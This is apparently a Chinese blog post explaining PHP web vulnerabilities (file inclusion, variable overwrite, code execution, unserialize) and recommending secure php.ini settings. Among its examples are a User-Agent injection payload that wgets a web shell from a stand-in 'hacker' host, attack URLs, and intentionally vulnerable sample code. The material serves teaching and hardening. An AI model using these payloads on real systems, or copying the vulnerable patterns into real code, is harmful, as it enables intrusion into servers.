PHP安全

  时至今日,PHP是一种非常流行的web开发语言,但PHP语言的安全问题也很多,而且PHP语言的安全问题有其自身语言的一些特点。

文件包含漏洞

  在互联网的安全历史中,PHP的文件包含漏洞已经臭名昭著了,因为在各种各样的PHP应用中挖出的文件包含漏洞数不胜数,且后果都很严重。
  代码注入攻击的原理是注入一段用户能控制的脚本或代码,并让服务器端执行。代码注入的典型代表就是文件包含(file inclusion)。文件包含可能会出现在JSP、PHP、ASP等语言中,常见的导致文件包含的函数如下:

PHP: include(),include_once(),require(),require_once(),fopen(),readfile(),...;
JSP/Servlet: ava.io.File(),java.io.FileReader(),...
ASP: include file(),include virthal(),...

  文件包含是PHP的一种常见用法:主要有四个函数:

include()
require()
include_once()
require_once()

  当用这四个函数包含一个新的文件时,该文件将作为PHP代码执行,PHP内核并不会在意该被包含的文件是什么类型。所以如果被包含的是txt文件、图片文件、远程URL,也都将作为PHP代码执行。这一特性,在实施攻击时将非常有作用。
  成功利用文件包含漏洞,需要满足两个条件:

  • 1.include()等函数通过动态变量的方式引入需要包含的文件;
  • 2.用户能够控制该动态变量。

本地文件包含

  能够打开并包含本地文件的漏洞,被称为贝本地件包含漏洞(local file inclusion,简称LFI)
  关键词:

  • 字符串截断:PHP0字节(\x00作为字符串结束符;
  • 操作系统对目录最大长度限制,超过最大长度之后的字符将被抛弃(Windows256字节、Linux4096字节)
  • 目录遍历:诸如使用了../../../这样的方式来返回到上层目录中的方式,再利用时可以以编码的方式绕过安全检测;
  • open_basedir:其作用是限制在某个特定目录下PHP能打开的文件,需要注意的是open_basedir的值是目录前缀,列:open_basedir=/home/app/aaa限制目录为/home/app(Windows下多个目录用分号隔开,Linux下用冒号隔开)。

远程文件包含

  如果PHP的配置选项allow_url_include为ON的话,则include/require函数是可以加载远程文件的,这种漏洞被称为远程文件包含漏洞(remote file inclusion,简称RFI)

本地文件包含的利用技巧

  

  • 包含用户上传的文件;
  • 包含data://或php://input等伪协议;
    伪协议如php://input、data://等需要服务器支持,同时要求allow_url_include设置为ON。
  • 包含Session文件;
    包含Session文件的条件需要攻击者能控制部分session文件内容。
  • 包含日志文件,比如web server的access log;
    包含日志文件是一种比较通用的技巧。因为服务器一般都会往web server的access_log里记录客户端的请求消息,在error_log中记录出错的请求。因此攻击者可以间接的将PHP代码写入到日志文件中,在文件包含时,只需要包含日志文件即可。(日至文件每天更新,在凌晨时完成,能够提高效率)
  • 包含/proc/self/environ文件
    包含/proc/self/environ是一种更为通用的方法,他不需要猜测被包含文件的路径,同时用户能控制他的内容,可以看到web进程运行时的环境变量,其中很多都是用户可控的,最常用的方法是在User_Agent中注入PHP代码,比如:
<?php system('wget http://hacker/shells/php.txt -O shell.php');?>

  以上这些方法,都要求PHP能够包含这些文件,而这些文件往往处于web目录之外,如果PHP配置了open_basedir,则很可能使得攻击无效。

  • 包含上传的临时文件(RFC1867)。
    但是PHP创建的上传临时文件,往往处于PHP允许访问的目录范围内。包含这个临时文件的方法,其理论意义大于实际意义。
    PHP会为上传文件创建临时文件,其目录在php.ini的upload_tmp_dir中定义。但该值默认为空,此时在Linux系统下会使用/tmp目录,在Windows下会使用C:\windows\tmp目录。该临时文件的文件名是随机的,攻击者必须准确的猜测出该文件名才能成功利用漏洞。(可以暴力破解,Windows下仅有65535种不同的文件名)
  • 包含其他应用创建的文件,比如数据库文件、缓存文件、应用日志等。

变量覆盖漏洞

全局变量覆盖

  变量如果未被初始化,且能被用户所控制,那么很可能会导致安全问题,在PHP中,这种情况在register_globals为ON时尤为严重。register_globals为ON时,变量来源可能是各个不同的方向,比如页面的表单、cookie等,当用户能够控制变量来源是,无论变量有没有被初始化,都将造成一些安全隐患。

extract()变量覆盖

  extract()函数能将变量从数组导入当前的符号表,其函数定义如下:

int extract(array $var_array [, int $extract_type [, string $prefix]])

  其中第二个参数指定函数将变量导入符号表时的行为,最常见的两个值是“EXTR_OVERWRITE”和“EXTR_SKIP”。当值为“EXTR_OVERWRITE”时,再将值导入符号表的过程中,如果变量名发生冲突,则覆盖已有变量;当值为“EXTR_SKIP”则表示跳不过覆盖。若第二个参数未指定,则默认为“EXTR_OVERWRITE”。
  一种较为安全的做法是确定register_globals=OFF后,在调用extract()时使用EXTR_SKIP保证已有变量不被覆盖。(extract()的来源不能被用户控制)
  在PHP中是由php.ini中的variables_order所定义的顺序来获取变量的。

遍历初始化变量

  常见的一些以遍历的方式释放变量的代码,可能会导致变量覆盖。在代码审计时需要注意类似“$$k”的变量赋值方式有可能覆盖已有变量,从而导致一些不可控制的结果。

import_request_variables变量覆盖

bool import_request_variables(string $type [, string $prefix])

import_request_variables()将GET、POST、Cookie中的变量导入到全局,使用这个函数只需要简单的指定类型即可。

parse_str()变量覆盖

&emsp;&emsp;void parse_str(string $str [,array &$arr])

  parse_str()函数往往被用于解析URL的querystring,但是当参数值能被用户控制时,很可能导致变量覆盖。如果指定了parse_str()的第二个参数,则会将query string中的变量解析后存入该数组变量中。因此在使用parse_str()时,应尽量指定第二个参数。与parse_str()相似的函数还有mb_parse_str()。
  安全建议:
1.确保register_globals=OFF。若不能定义php.ini,则在代码中控制
2.熟悉可能造成变量覆盖的函数和方法,检查用户是否能控制变量的来源。
3.尽可能的初始化变量。

代码执行漏洞

  PHP代码执行的两个关键条件:

  • 第一是用户能够控制的函数输入;
  • 第二是存在可以执行代码的危险函数。

”危险函数“执行代码

  文件包含漏洞是可以引起代码执行的。但在PHP中,能够执行代码的方式远不止文件包含漏洞一种,比如危险函数popen()、system()、passthru()、exec()等都可以执行系统命令。此外,eval()函数也可执行PHP代码。还有一些比较特殊的情况,比如允许用户上传PHP代码,或者是应用写入到服务器的文件内容和文件类型可以由用户控制,都可能导致代码执行。
挖掘漏洞的过程,通常需要先找到危险函数,然后回溯函数的调用过程,最终看在整个调用过程中用户是否有可能控制输入。

”文件写入“执行代码

  在PHP中对文件的操作一定要谨慎,如果文件操作的内容用户可以控制,则也极容易成为漏洞。

其他执行代码方式

直接执行代码的函数

  PHP中有不少可以直接执行代码的函数,比如:eval()、assert()、system()、exec()0、shell_exec()、passthru()、escapeshellcmd()、pcntl_exec()等。一般来说最好在PHP中禁用这些函数,在审计代码时则可以检查代码中是否存在这些函数,然后回溯危险函数的调用过程,看用户是否可以控制输入。

文件包含

  文件包含漏洞也是代码注入的一种,需要高度关注能够包含文件的函数:include(),include_once(),require(),require_once()。

本地文件写入

  常见的能够往本地文件里写入内容的函数有file_put_contents(),fwrite(),fputs()等。写入文件的功能可以和文件包含、危险函数、执行等漏洞结合,最终使得原本用户无法控制的输入变成可控。在代码审计时要注意这种”组合类“漏洞。

preg_replace()代码执行

  preg_replace()的第一个参数如果存在/e模式修饰符,则允许代码执行。当第一个参数中没有没有/e模式修饰符时,也是有可能执行代码的,这要求在第一个参数中包含变量,并且用户可控制,有可能通过注入/e%00的方式截断文本,注入/e。

<?php
$var='<tag>phpinfo()</tag>';
preg_replace("/<tag>(.*?)<\/tag>/e",'addslashes(\\1)',$var);
?>

动态函数执行

  用户自定义的动态函数可以导致代码执行。需要注意如下情况:

<?php
$dyn_func = $_GET['dyn_func'];
$argument = $_GET['argument'];
$dyn_func($argument);
?>

  这种写法近似于后门,将直接导致代码执行,比如:

http://www.example.com/index.php?dyn_func=system&argument=uname

Curly Syntax

  PHP的Curly Syntax也能导致代码执行,他将执行花括号间的代码,并将结果替换回去,如:

<?php
$var = "I Love You ${'ls'}";
?>

  ls命令将列出本地目录的文件

回调函数执行代码

  很多函数都可以执行回调函数,当回调函数用户可控时,将导致代码执行。

<?php
$evil_callback = $_GET['callback'];
$some_array = array(0,1,2,3);
$new_array = array_map($evil_callback,$some_array);
?>

攻击payload如下:

http://www.example.com/index.php?callback=phpinfo

unserialize()导致代码执行

  unserialize()代码执行有两个条件:

  • unserialize()的参数用户可以控制,这样可以构造出需要反序列化的数据结构;
  • 存在_destruct()函数或者_wakeup()函数。这两个函数实现的逻辑决定了能执行什么样的代码。

定制安全的PHP环境

  推荐php.ini中一些安全参数的配置:

  • register_globals
    当register_globals=ON时,PHP不知道变量从何而来,也容易出现一些变量覆盖的问题。因此从最佳实践的角度,强烈建议设置register_globals=OFF,改设置在最新版本的PHP中默认设置。
  • open_basedir
    open_basedir可以限制PHP只能操作指定目录下的文件。这在对抗文件包含、目录遍历等攻击时非常有用。
    open_basedir = /home/web/1/
    
  • allow_url_include
    为了对抗远程文件包含,关闭此选项,一般PHP应用不会用到此选项,而且推荐关闭allow_url_fopen.
    allow_url_include = Off
    allow_url_fopen = Off
    
  • display_errors
    错误回显,它可以暴露出非常多的敏感信息,为攻击者下一步攻击提供便利。推荐关闭
    display_errors = Off
    
  • log_errors
    在正常环境下使用,把错误信息记录在日志里,正好可以关闭错误回显:
    log_errors = On
    
  • magic_quotes_gpc
    推荐关闭,他并不值得依赖,已知已经有若干种方法可以绕过它,甚至由于他的存在反而衍生出了一些新的安全问题。XSS、SQL注入等漏洞,都应该由应用在正确的地方解决,同时关闭它还能提高性能。
    magic_quotes_gpc = Off
    
  • cgi.fix_pathinfo
    若PHP以CGI的方式安装,则需要关闭此项,以避免出现文件解析问题
    cgi.fix_pathinfo = 0
    
  • session.cookie_httponly
    开启httponly
    session.cookie_httponly = 1
    
  • session.cookie_secure
    若是全站HTTPS则请开启此项。
    session.cookie_secure = 1
    
  • safe_mode && disable_functions
    PHP的安全模式是否被开启一直有争议,因为它可以被绕过,disable_functions函数能够在PHP中禁用一些函数。共享环境中(比如:APP Engine)则建议开启safe_mode,并和disable_functions函数配合使用;单独的应用环境,则可以考虑关闭safe_mode,利用disable_functions控制运行环境安全。

小结

  PHP是一门被广泛使用的web开发预言,它的语法和使用方式非常的灵活,这也导致了PHP代码安全评估的难度相对较高,PHP的安全问题相对较多。

©著作权归作者所有,转载或内容合作请联系作者
  • 序言:七十年代末,一起剥皮案震惊了整个滨河市,随后出现的几起案子,更是在滨河造成了极大的恐慌,老刑警刘岩,带你破解...
    沈念sama阅读 217,406评论 6 503
  • 序言:滨河连续发生了三起死亡事件,死亡现场离奇诡异,居然都是意外死亡,警方通过查阅死者的电脑和手机,发现死者居然都...
    沈念sama阅读 92,732评论 3 393
  • 文/潘晓璐 我一进店门,熙熙楼的掌柜王于贵愁眉苦脸地迎上来,“玉大人,你说我怎么就摊上这事。” “怎么了?”我有些...
    开封第一讲书人阅读 163,711评论 0 353
  • 文/不坏的土叔 我叫张陵,是天一观的道长。 经常有香客问我,道长,这世上最难降的妖魔是什么? 我笑而不...
    开封第一讲书人阅读 58,380评论 1 293
  • 正文 为了忘掉前任,我火速办了婚礼,结果婚礼上,老公的妹妹穿的比我还像新娘。我一直安慰自己,他们只是感情好,可当我...
    茶点故事阅读 67,432评论 6 392
  • 文/花漫 我一把揭开白布。 她就那样静静地躺着,像睡着了一般。 火红的嫁衣衬着肌肤如雪。 梳的纹丝不乱的头发上,一...
    开封第一讲书人阅读 51,301评论 1 301
  • 那天,我揣着相机与录音,去河边找鬼。 笑死,一个胖子当着我的面吹牛,可吹牛的内容都是我干的。 我是一名探鬼主播,决...
    沈念sama阅读 40,145评论 3 418
  • 文/苍兰香墨 我猛地睁开眼,长吁一口气:“原来是场噩梦啊……” “哼!你这毒妇竟也来了?” 一声冷哼从身侧响起,我...
    开封第一讲书人阅读 39,008评论 0 276
  • 序言:老挝万荣一对情侣失踪,失踪者是张志新(化名)和其女友刘颖,没想到半个月后,有当地人在树林里发现了一具尸体,经...
    沈念sama阅读 45,443评论 1 314
  • 正文 独居荒郊野岭守林人离奇死亡,尸身上长有42处带血的脓包…… 初始之章·张勋 以下内容为张勋视角 年9月15日...
    茶点故事阅读 37,649评论 3 334
  • 正文 我和宋清朗相恋三年,在试婚纱的时候发现自己被绿了。 大学时的朋友给我发了我未婚夫和他白月光在一起吃饭的照片。...
    茶点故事阅读 39,795评论 1 347
  • 序言:一个原本活蹦乱跳的男人离奇死亡,死状恐怖,灵堂内的尸体忽然破棺而出,到底是诈尸还是另有隐情,我是刑警宁泽,带...
    沈念sama阅读 35,501评论 5 345
  • 正文 年R本政府宣布,位于F岛的核电站,受9级特大地震影响,放射性物质发生泄漏。R本人自食恶果不足惜,却给世界环境...
    茶点故事阅读 41,119评论 3 328
  • 文/蒙蒙 一、第九天 我趴在偏房一处隐蔽的房顶上张望。 院中可真热闹,春花似锦、人声如沸。这庄子的主人今日做“春日...
    开封第一讲书人阅读 31,731评论 0 22
  • 文/苍兰香墨 我抬头看了看天上的太阳。三九已至,却和暖如春,着一层夹袄步出监牢的瞬间,已是汗流浃背。 一阵脚步声响...
    开封第一讲书人阅读 32,865评论 1 269
  • 我被黑心中介骗来泰国打工, 没想到刚下飞机就差点儿被人妖公主榨干…… 1. 我叫王不留,地道东北人。 一个月前我还...
    沈念sama阅读 47,899评论 2 370
  • 正文 我出身青楼,却偏偏与公主长得像,于是被迫代替她去往敌国和亲。 传闻我的和亲对象是个残疾皇子,可洞房花烛夜当晚...
    茶点故事阅读 44,724评论 2 354

推荐阅读更多精彩内容